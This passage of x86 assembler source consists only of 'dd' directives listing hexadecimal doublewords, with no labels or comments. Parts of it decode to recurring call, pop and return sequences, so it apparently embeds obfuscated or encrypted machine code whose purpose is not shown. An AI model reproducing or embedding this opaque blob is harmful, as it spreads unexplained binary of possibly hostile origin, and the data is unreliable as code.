		dd 6A006A24h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0A89AC351h, 0BEDA80BFh, 68C0Fh
		dd 0BD8B0000h, 6071CD1h, 5A681868h, 815B527Dh, 6BE72434h
		dd 6A7D45h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 31027AC3h, 71AF595h, 195FF06h, 0E906071Dh
		dd 0Ah,	50911EE2h, 5E9A11AAh, 9D8BD4B0h, 6072655h, 0A6AD8589h
		dd 9D8B060Ah, 6072E39h,	1D8E9h,	0A5B52900h, 8B06072Eh
		dd 0AA6A585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0F4819096h, 221AD20Bh, 6860FF7h
		dd 2B000000h, 7140D9Dh,	1800C706h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 66ADC352h, 8BD583BFh, 0AA6A9B5h, 7E906h, 0EB600000h
		dd 0D19F1AE1h, 21858B08h, 0F506070Ch, 271B589h,	6890607h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 1FC35242h
		dd 61875905h, 8B2FB30Ch, 7062985h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 4259C6FDh
		dd 81082FE8h, 0EBDB96F3h, 0FD9D3318h, 89060727h, 6A0446h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0D79ACC3h, 8B68E4E6h, 96E9B3FBh, 16F8BF66h, 66525050h
		dd 0F08A4BFh, 0E6BB5631h, 5B0CFDF8h, 8996585Ah,	72D759Dh
		dd 0A5B5FF06h, 8B060AA6h, 701ED9Dh, 4E806h, 3FF0000h, 8C0F001Fh
		dd 18h,	13E9h, 0D7ABED00h, 0A765CED2h, 9DD4A71h, 7039F0C8h
		dd 6819171Eh, 890F5150h, 5, 500DC5BFh, 448B5F0Fh, 9E80424h
		dd 11000000h, 64C8FDBCh, 230FE68h, 8A008B5Bh, 244489DCh
		dd 735FBB04h, 6A584901h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 3B06C350h, 2E79BD8Bh
		dd 858D0607h, 60AA6ADh,	0EE890h, 5A660000h, 451232F5h
		dd 98F245A6h, 0E6C3BF61h, 505BFA8Bh, 33E9BF66h,	5ABB6690h
		dd 195FFA4h, 906071Dh, 7087985h, 6A6106h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 561CA9C3h
		dd 31F4D7CDh, 0C71DB3B1h, 72D0585h, 306h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 1A4C3B91h, 534EF91Ch, 0A6ADBD83h, 0F00060Ah,	3884h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 17AAA640h, 0D1AC5BC5h, 258D31FFh, 66060730h
		dd 0E93BC5BFh, 20h, 0D88B6652h,	0C30505Bh, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0B8C35141h, 890Fh, 5E80000h, 3F000000h
		dd 14460FBAh, 2FB98D89h, 835F0607h, 72D05BDh, 850F0306h
		dd 3B6h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0B0C35747h, 81BD8B69h, 60060709h, 12E9h, 0A5CD0C00h
		dd 6CA5A0Dh, 805087D2h,	64434405h, 90A7005h, 708959Dh
		dd 0BD836106h, 60AA6ADh, 67840F00h, 0E9000003h,	0Ch, 526115A1h
		dd 2F7A24BAh, 31F130Ah,	0A6ADB5FFh, 6A060Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0D78145C3h
		dd 3E65A7A2h, 43D95FFh,	0B70F0607h, 0A1B58BDEh,	8B060AA6h
		dd 703B5BDh, 106C706h, 33000100h, 70261BDh, 34895006h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 78376319h, 66B3E9E1h, 1201D381h,	0A6ADB5FFh
		dd 0FFFC060Ah, 71A5595h, 0CB816606h, 0B58BC5A7h, 60AA6A1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 7AC35343h
		dd 656C48EEh, 6870FADh,	8B000000h, 725F99Dh, 89858B06h
		dd 6A060713h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0F444C352h, 8922DA0Ch,	0C486h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0F97385Eh, 382h,	56DB8000h, 10E9h, 0E55E0900h
		dd 0EA86C438h, 0F9EC0A6Eh, 7C6157FEh, 79958B45h, 60060706h
		dd 38A0Fh, 0B70F0000h, 0E68166D3h, 8361FEAEh, 6A04C2h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 8A321DC3h, 0F88B66F7h, 89DBBF0Fh, 6A2050h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0AA37B5C3h
		dd 0F73ADCEh, 858DD9BFh, 60ABA1Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0D0C35242h,	14B54477h, 895376A6h
		dd 0B886h, 12E900h, 2A1C0000h, 7C573356h, 0E41F5EE3h, 56392E53h
		dd 53E2F800h, 9D8B006Ah, 60727D1h, 0A6ADB5FFh, 8D89060Ah
		dd 6072D21h, 1AF995FFh,	0CBBB0607h, 50305D47h, 0BF665153h
		dd 5B5FDEB4h, 8B243489h, 730DD9Dh, 0ADB5FF06h, 89060AA6h
		dd 7156DB5h, 2995FF06h,	0F060715h, 0C82h, 68B0F00h, 29000000h
		dd 700A185h, 0A5BD8306h, 60712h, 2F840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8B3F25C3h, 70A419Dh,	0DAB70F06h
		dd 85BB6650h, 243489B9h, 0ADB5FFFCh, 81060AA6h,	0E85C12DFh
		dd 5595FF54h, 6A060705h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 356DC352h, 2CA65AF1h
		dd 2B81BD89h, 0B5FF0607h, 60AA6ADh, 14E9h, 9A245A00h, 2DF86F3h
		dd 44471557h, 21D71005h, 4902519Bh, 0F995FF98h,	6A06071Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 1D5DC356h, 0B6DBD89h, 9D230607h, 6072E89h
		dd 1F1DBD83h, 0F020607h, 3484h,	0D98B6600h, 12B18D89h
		dd 858B0607h, 60706DDh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 5C35040h, 8B0000C6h, 716C1BDh, 9185C706h
		dd 60726h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 450CC353h, 0DCB5FCF0h,	30A99D09h
		dd 0A0E90607h, 81FFFFF3h, 0D8C3A6C3h, 23C18B23h, 7037D9Dh
		dd 0D88B6606h, 785858Dh, 0B5310607h, 6072AC1h, 5E950h
		dd 1E210000h, 8986A016h, 29562404h, 713F185h, 0B5895F06h
		dd 6071561h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0BC1CEFC3h, 0E37FF0DEh, 6A00B3h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 8CC35242h
		dd 1BAD262Bh, 0B70F53EFh, 858D5FDAh, 60C2A05h, 1D79B529h
		dd 0C0830607h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 47864D8h, 0B35040FDh
		dd 24048979h, 66DFB70Fh, 6AD98Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 7DC35747h, 0BFA507ABh, 91256367h
		dd 3D9D010Dh, 6A060720h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0F9A74CD6h, 4C195FFh
		dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0F8BD87C3h, 0BBD4A839h, 70BBB270h, 0A64F8D8Dh
		dd 6A060Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 694915C3h, 0C14D5359h, 0B3ED9637h, 59952974h
		dd 0FF06071Fh, 8E8D1h, 0C14D0000h, 63ED9637h, 60533DABh
		dd 535B5F61h, 5E9h, 0D0BAA600h,	835FABCCh, 7218DBDh, 850F0106h
		dd 87h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h
		dd 0B5C35040h, 0E3D9D89h, 26A0607h, 14E9h, 574F2900h, 5112A638h
		dd 50F30C3Bh, 0D161B2BCh, 61E2065Ah, 0B3BF90A1h, 505389EDh
		dd 614FB160h, 0FFDE8B90h, 71AF995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 3ED3690h, 0F9FF6F86h
		dd 0E381A91Fh, 111F30EBh, 891139BFh, 0D1B58953h, 0E9060709h
		dd 0E51h, 0E8h,	0ED815D00h, 60C2A0Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 31C35343h, 5DD2B47Bh, 211A2B30h
		dd 7E8h, 0C8E72700h, 0EC866EEEh, 4DBD29h, 6A5F0607h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 25ECC351h, 8DD24804h, 0A910885h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 7DB51F75h
		dd 61BD8BB5h, 50060726h, 0AE8h,	0EF4D6900h, 0E1B0716Dh
		dd 66021431h, 5F3FE1BFh, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0AFFDC355h
		dd 0FF642D44h, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0CDA63D07h, 0BD8BA9A7h
		dd 6070651h, 258964h, 89000000h, 7280D85h, 7DCB8006h, 32F185FFh
		dd 0BD8B0607h, 6071DCDh, 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0B9FA51C3h, 0FE8B66EBh
		dd 114FBF66h, 399B5FFh,	6A0607h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0EBB412C3h, 66B19D05h
		dd 95FFFB8Bh, 6071AC9h,	126E9h,	0E99D8900h, 0B0060721h
		dd 5370E600h, 10EDBD8Bh, 0E45B0607h, 14E971h, 0B1970000h
		dd 0B4C4F623h, 29198615h, 994E9F11h, 0ABAA42D3h, 613C8C7Ah
		dd 0F1830Fh, 9D010000h,	6070E29h, 8BC8B60Fh, 71521BDh
		dd 6880F06h, 8B000000h,	70DA59Dh, 6BA06h, 0CBF0000h, 8B5A0EA0h
		dd 704F99Dh, 80C18B06h,	9D8BDADFh, 6071681h, 8904E8C1h
		dd 707E995h, 0E2F76606h, 0C82BF88Bh, 0D18BDF8Bh, 5BFA8B57h
		dd 9EE9h, 7DB58900h, 8B06070Eh,	47554C85h, 0AAEF8049h
		dd 0A4F591BBh, 7C08346h, 0F00C083h, 0FE8BDBBFh,	830FD03Bh
		dd 2Eh,	0AE8h, 500FF400h, 8D1147D8h, 0E945DFBFh, 0Fh, 96CF647Dh
		dd 0AC9CBEB5h, 0A1322A20h, 5BE7A33Ah, 4EE9h, 0DF816600h
		dd 8D8BEA84h, 0FFFFFFFFh, 10419589h, 8B600607h,	70ACD95h
		dd 6E906h, 0DEC90000h, 1E3BDB7Bh, 1E18361h, 21840Fh, 8D010000h
		dd 6070AD5h, 0FFFFA583h, 8BFEFFFFh, 715E99Dh, 4C958906h
		dd 66494755h, 0E9FB8Bh,	8D000000h, 0BA8E3B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 813A9579h, 0EA724DE3h, 0B9953163h, 6A060714h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 89745CFFh, 715398Dh,	0F9852906h, 0FF060700h,	716B595h
		dd 0CF8B6006h, 2791BD8Bh, 1610607h, 70285BDh, 0DB7B906h
		dd 0E1830000h, 56006AFCh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 8F663470h, 37E98D63h
		dd 437DE9BFh, 0EE905h, 760D0000h, 0ECD303E8h, 70CA5410h
		dd 78376319h, 0EE9FCh, 38DC0000h, 0FBE44775h, 53B45A6Fh
		dd 2417C33Eh, 8E9C02Bh,	6C000000h, 266DC286h, 0BA6AF20Fh
		dd 0
		dd 33AD26B3h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 3347BC3h
		dd 6010E73Fh, 0EBBCC781h, 0EE93582h, 0B9000000h, 0BB64E988h
		dd 6687C846h, 1CA3A928h, 8B606110h, 0F1D881FAh,	61244B3Ah
		dd 4459509h, 880D0607h,	53000000h, 7E9h, 0D0A33D00h, 0B5A850FFh
		dd 79958B5Bh, 8B060706h, 71525BDh, 0E58D8B06h, 6A06072Ch
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 5516C351h, 3F37BF56h, 605B0FC0h, 1CFDB589h
		dd 0CC8A0607h, 0C28B5061h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6658188Bh, 0C937DB81h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0E7C35646h, 89EEFA94h, 7123195h, 0E5BD8306h
		dd 60710h, 5F840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0E60E7BC3h, 66D91067h
		dd 548FF781h, 0B8h, 0D173BB00h,	8D8D2F56h, 6074E1Ch, 6AE1FFF9h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0C9BEC355h, 81925C1Dh, 498E44E7h,	5BD8334h
		dd 6072Dh, 400840Fh, 0F3810000h, 7A689A7Bh, 2D05BD83h
		dd 0F010607h, 40884h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0ADA95A22h, 0BD339E14h
		dd 6070CA5h, 1075BD0Bh,	8D890607h, 6072049h, 2D05BD83h
		dd 0F030607h, 39286h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 60DE8A48h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0DEC35343h, 5E847995h
		dd 0F0BF66FAh, 0D98C6632h, 80D88B66h, 8B6604E1h, 0FC90AF8h
		dd 13C84h, 0EE800h, 0A8B40000h,	1F0257C9h, 0FDD9B978h
		dd 0AB40C783h, 29858B5Bh, 6A060706h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 5930C355h
		dd 8559D8Bh, 0B5890607h, 60711E9h, 1E758533h, 6A0607h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0D78D39C3h, 33331EB4h, 721F99Dh, 16BB9006h, 50056F96h
		dd 6870F60h, 50000000h,	5A310F52h, 0E9906158h, 5, 436E55ADh
		dd 66006A16h, 91B21BFh,	70AF585h, 3066806h, 0BF66A94Bh
		dd 481D4CAh, 0D400F924h, 57006A56h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0B7B2F9B8h, 95FFF887h
		dd 6071D01h, 10DB501h, 85890607h, 60AA6ADh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0E3C35343h, 9759589h
		dd 81660607h, 0E99CBAEFh, 1C5h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 1EC35040h, 0EF1F8FD2h, 816660EFh
		dd 6039A2E9h, 81666160h, 61E11AF6h, 0A5858B61h,	3060AA6h
		dd 70C7D9Dh, 9D015006h,	6071A91h, 1800C75Fh, 0E9000000h
		dd 0Dh,	0A2977ABCh, 0D15B7821h,	0B767D38Ch, 79B5313Dh
		dd 8B060715h, 0AA6A9B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 14F0AD0Dh, 898E8A73h
		dd 731E98Dh, 21858B06h,	6606070Ch, 0F8AD97BBh, 56510689h
		dd 0B5DB8166h, 8B5F5FBCh, 7062985h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8949AE02h
		dd 0F1BF0446h, 960F7B29h, 0C68EBF66h, 0E8525050h, 6, 0D0FE0851h
		dd 840F1A40h, 0
		dd 0E8310F5Fh, 12h, 602DA7C1h, 0CC0308Ch, 35038AC6h, 8BB0FBB7h
		dd 79BF3F3Fh, 5F44205Fh, 8196585Ah, 977616E3h, 0A5B5FF42h
		dd 6A060AA6h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8BAFC353h, 7096DBDh, 7D8D0106h
		dd 5606070Ch, 5FDA8B66h, 4E8h, 1F03FF00h, 0FE8B6600h, 0F8B2BB50h
		dd 448B09E0h, 0BEB70424h, 5250008Bh, 6E8h, 0A059C400h
		dd 0E8ED45A3h, 0Fh, 2000EE62h, 0E923F23Eh, 7047C17Dh, 5FF221DCh
		dd 0BF310F5Bh, 4F50AA66h, 4489585Ah, 0F580424h,	85h, 0AD858D00h
		dd 0F060AA6h, 87h, 850F5000h, 4, 7668BB66h, 89240489h
		dd 72189BDh, 195FF06h, 8B06071Dh, 72CB1BDh, 8B666106h
		dd 585C7D9h, 306072Dh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 27CDC352h
		dd 0E91DA3F8h, 12h, 4218AF81h, 5BEE9F71h, 0C3BBCF3Fh, 0CF582182h
		dd 0BD83413Ah, 60AA6ADh, 18840F00h, 0E8000000h,	7, 0B1337849h
		dd 896962E7h, 7147195h,	1BE95B06h, 50000000h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 8151C08Bh
		dd 5B4467E7h, 6A5F58h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0FE594AC3h, 7BAFFAB7h, 8384685Ah
		dd 72D05BDh, 850F0306h,	4D6h, 68A0Fh, 85010000h, 60712A9h
		dd 0A6ADBD83h, 0F00060Ah, 4BD84h, 0B5FFF900h, 60AA6ADh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0C4C35646h
		dd 719D8969h, 8006072Ah, 95FF8CE3h, 607043Dh, 10E9h, 4FC81E00h
		dd 97AD6AFCh, 2DB35EAFh, 0E1931E14h, 0A1B58B32h, 66060AA6h
		dd 66BF6FBBh, 0F21DDF81h, 106C7h, 6A0001h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 945ACFC3h
		dd 8589042Fh, 6072DFDh,	8B0F50h, 89000000h, 6A2434h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 8D8DBFC3h, 5C3139E3h, 0E9816066h, 7AE9987Bh,	6218D8Bh
		dd 8B610607h, 72C799Dh,	0ADB5FF06h, 6A060AA6h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 134EC353h, 13389AC3h, 95FF3505h, 6071A55h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0DC35040h, 8B602CC3h
		dd 0DE8B66C6h, 0A1B58B61h, 3060AA6h, 71AD9BDh, 9E906h
		dd 0F5420000h, 1D48352Ah, 8B3FE9C5h, 7138985h, 0DBBF0F06h
		dd 0C48689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8B8AE2C3h, 715BD9Dh, 38F0F06h, 0F000000h
		dd 9D8BFEBFh, 607214Dh,	679958Bh, 6A0607h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0C66AC7C3h
		dd 0A8B807C8h, 0FEB70F6Dh, 2651BD8Bh, 0C2830607h, 55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 5E9300Eh, 0C8000000h, 8654FC81h, 153DB589h, 50890607h
		dd 51006A20h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 9BFACB3Eh, 0BCD1EBB0h, 0BB669D3Dh, 8F0FF2CEh
		dd 6, 32319D31h, 8DF80607h, 0ABA1F85h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 113A7FF1h, 0A1D0C50Ah, 7E9E8h, 8C7C0000h, 0B3B9F20Ch
		dd 8689F976h, 0B8h, 1D4DBD2Bh, 6A0607h,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 15h, 19C35343h, 0D99D895Ah
		dd 89060715h, 7002985h,	0ADB5FF06h, 6A060AA6h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0E0B1C350h, 96A7E4F3h, 0F995FF1Dh, 6A06071Ah, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0E3A8C352h, 66CA39EAh, 2DBD781h, 0BF665396h,	505F44BEh
		dd 996FA8Bh, 72DF185h, 0ADB5FF06h, 89060AA6h, 7100595h
		dd 2995FF06h, 6A060715h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 8544C355h, 5830Fh
		dd 81660000h, 8311F8F7h, 712A5BDh, 840F0006h, 52h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 3CC35040h, 88DAF21Fh
		dd 0E8963770h, 0Ah, 0A370D4DCh,	76F71B15h, 505F3C72h, 53006A96h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0B5FF1E66h, 60AA6ADh, 21D99589h, 95FF0607h, 6070555h
		dd 17518D01h, 0B5FF0607h, 60AA6ADh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 6DC35242h, 767BB66h, 1FF995FFh
		dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0BD8BE9C3h, 6072A7Dh, 13E8h, 638A2600h, 0AB359F5Eh
		dd 11682DBFh, 36EC5948h, 0F75116A1h, 45BD8B52h,	5B06071Fh
		dd 1DBD835Bh, 206071Fh,	88840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0B3E3C3h
		dd 6007737Fh, 8E9h, 9B1A6500h, 0E741DC90h, 0B70F60B2h
		dd 1B866D6h, 8B61614Ah,	706DD85h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0B805DC74h
		dd 142CB156h, 0C6DADF80h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 4AE8B7C3h, 85C7A2FEh
		dd 6072691h, 0
		dd 1EF99D8Bh, 10E80607h, 41000000h, 0B2660134h,	78DF7C53h
		dd 3224F2F9h, 8B91CBEBh, 0F1E95FDEh, 6AFFFFF2h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 6291C357h, 2DCD24E3h, 0BCA6D7Eh, 70BBD9Dh, 81C18B06h
		dd 18A6C7EBh, 488D8D2Fh, 6A060C39h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 8EE7C350h
		dd 8D892488h, 6070679h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 26C35545h, 0C7E55331h, 72CE585h, 594006h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0BD893EADh, 6071BEDh, 2D0585C7h,	607h, 0BD8B0000h
		dd 6072EA5h, 157DB5FFh,	6A0607h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 3F3B1AC3h, 0AE96Fh, 1E190000h
		dd 3DD322DEh, 0F0B1329Ah, 0BD95FFh, 6A0607h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 782ED0C3h
		dd 0A2BA54DEh, 6A7097E4h, 0B595FF00h, 8B060716h, 661CEBC0h
		dd 55EC2678h, 8CA91BB7h, 0A15AAA0Bh, 9AA7A8D2h,	54B91D14h
		dd 80BD1F2Dh, 8D19AA68h, 0C3A628Dh, 8E906h, 3A420000h
		dd 0FCD598C6h, 8D89A1A8h, 6070679h, 0FE8h, 0CC0BBE00h
		dd 0E20E3F14h, 9D1F4D19h, 56116E93h, 6511BF66h,	0E585C75Ah
		dd 4806072Ch, 6A00006Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 713FC353h, 0DE8h, 4B02E00h
		dd 0F1363CF5h, 73E03115h, 0FE83196h, 0C7000000h, 0ECEACC61h
		dd 0BC012AD9h, 9BDFD5CDh, 5FFC8F67h, 6D85895Bh,	0C7060715h
		dd 72D0585h, 6,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0EDD5EB24h, 958B1FE0h
		dd 607272Dh, 0FFF38B66h, 70C11B5h, 0ABE78106h, 0FF4D9AABh
		dd 700BD95h, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 8B4D62E3h, 715ADB5h, 0FF006A06h
		dd 716B595h, 0EBC08B06h, 48EFA21Dh, 0E7DA3B57h,	0CA438285h
		dd 3FCA0D95h, 0EC762924h, 0B36AC2C5h, 17227A79h, 8D8DC40Dh
		dd 60C3B7Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0B8C35242h, 3EB02807h, 8F0F4002h, 6, 12999D89h
		dd 8B660607h, 798D89D7h, 6A060706h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 6606C353h
		dd 85C7F78Bh, 6072CE5h,	5BF0h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 1FC35343h, 0FD59EBF8h, 81661603h
		dd 0C7B4D7D3h, 72D0585h, 6, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0E6D7EF37h
		dd 1A87CEEh, 70CF58Dh, 59B5FF06h, 0BE060706h, 4F3C5AD5h
		dd 0BD95FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 66574DC3h, 3D92D381h, 0FF006A5Fh
		dd 716B595h, 0EBC08B06h, 71FFB75Ah, 0CD6F04B2h,	36693C56h
		dd 88C9A304h, 7F3FCB19h, 0BB1B1978h, 21556E8Fh,	0BA6E5AA9h
		dd 594F4BC8h, 2FAB4549h, 23EA0DB5h, 673BA2E1h, 0E98CC7EFh
		dd 0F8A6EE70h, 5965FD8h, 9F8AEA9Ah, 4F37C041h, 7A533095h
		dd 0FD171264h, 0A3792A61h, 0EA68C0ECh, 0CB3AF970h, 0E8F5B3A6h
		dd 0Fh,	9F068132h, 62E5482Dh, 0BC4F88EFh, 60924703h, 31998D8Bh
		dd 850F0607h, 17h, 12E9h, 0B2266600h, 58E24713h, 0DEAE1156h
		dd 0D6FBCD32h, 61BFB5F1h, 0C9BD8B59h, 8106072Fh, 59EFC1h
		dd 71B52900h, 0BB060725h, 163Ch, 14E9h,	158E6A00h, 666312D8h
		dd 1101993Ch, 0BEA64C27h, 27187A0Fh, 60318B1Dh,	870Fh
		dd 8E90000h, 7E000000h,	613A6F5Bh, 61840EC9h, 35E5F681h
		dd 29BF7670h, 81422131h, 0EECD05C6h, 0C6B70F51h, 0FFD7C681h
		dd 13E948AEh, 0F5000000h, 4B37DCBEh, 2D64AB9Ch,	8DA54DEFh
		dd 20A8750Bh, 31898216h, 0E983EBB4h, 0DE804h, 682F0000h
		dd 89DF5303h, 0FAC3B3F4h, 0FEE7123h, 815FC3BFh,	1EBh, 0F850F00h
		dd 8B000000h, 25E9C7h, 57E40000h, 4F1812F7h, 0BD2398CCh
